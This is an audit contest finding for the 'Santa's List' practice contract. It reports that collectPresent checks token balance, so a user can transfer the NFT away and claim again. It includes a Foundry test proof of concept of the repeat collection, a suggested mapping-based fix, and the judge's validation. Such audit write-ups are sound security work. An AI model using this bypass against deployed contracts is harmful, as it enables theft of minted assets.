First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Users Can Collect Presents More Than Once

atlanticbase

Summary

Due to the improper check of whether the user collected, malicious users can abuse it to collect more than one presents.

Vulnerability Details

The collectPresent function in SantasList.sol is intended to allow users to collect a single present. It attempts to enforce this by checking the balance of msg.sender to ascertain if they have already collected a present. However, this can be heavily bypassed. An attacker can easily circumvent this check by transferring their NFT to a different address under their control and then repeating the collection process. This allows unlimited present collection by a single user through the use of multiple addresses.

PoC

function testCollectMoreThanOnce() public {
vm.warp(1_703_480_381); // Warp to Christmas 2023
address attacker = makeAddr("attacker");
address arbitaryContractThatAttackerControls = makeAddr("arbitaryContractThatAttackerControls");
​
// Make attacker checked twice
vm.startPrank(santa);
santasList.checkList(attacker, SantasList.Status.NICE);
santasList.checkTwice(attacker, SantasList.Status.NICE);
​
vm.stopPrank();
​
vm.startPrank(attacker);
​
// Can Collect more than Once
santasList.collectPresent();
santasList.transferFrom(attacker, arbitaryContractThatAttackerControls, 0);
​
santasList.collectPresent();
santasList.transferFrom(attacker, arbitaryContractThatAttackerControls, 1);
​
vm.stopPrank();
​
assertEq(santasList.balanceOf(arbitaryContractThatAttackerControls), 2);
}

Impact

Attackers can unlimitedly call collectPresent.

Tools Used

Manual Review + Foundry

Recommendations

Consider using a mapping variable to store the status of a user. Instead of using balanceOf to check if the person has collected.

mapping(address person => bool collected) private collected;

Once the user has collected, change the status of the user.

if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
+ collected[msg.sender] = true;
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
+ collected[msg.sender] = true;
return;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.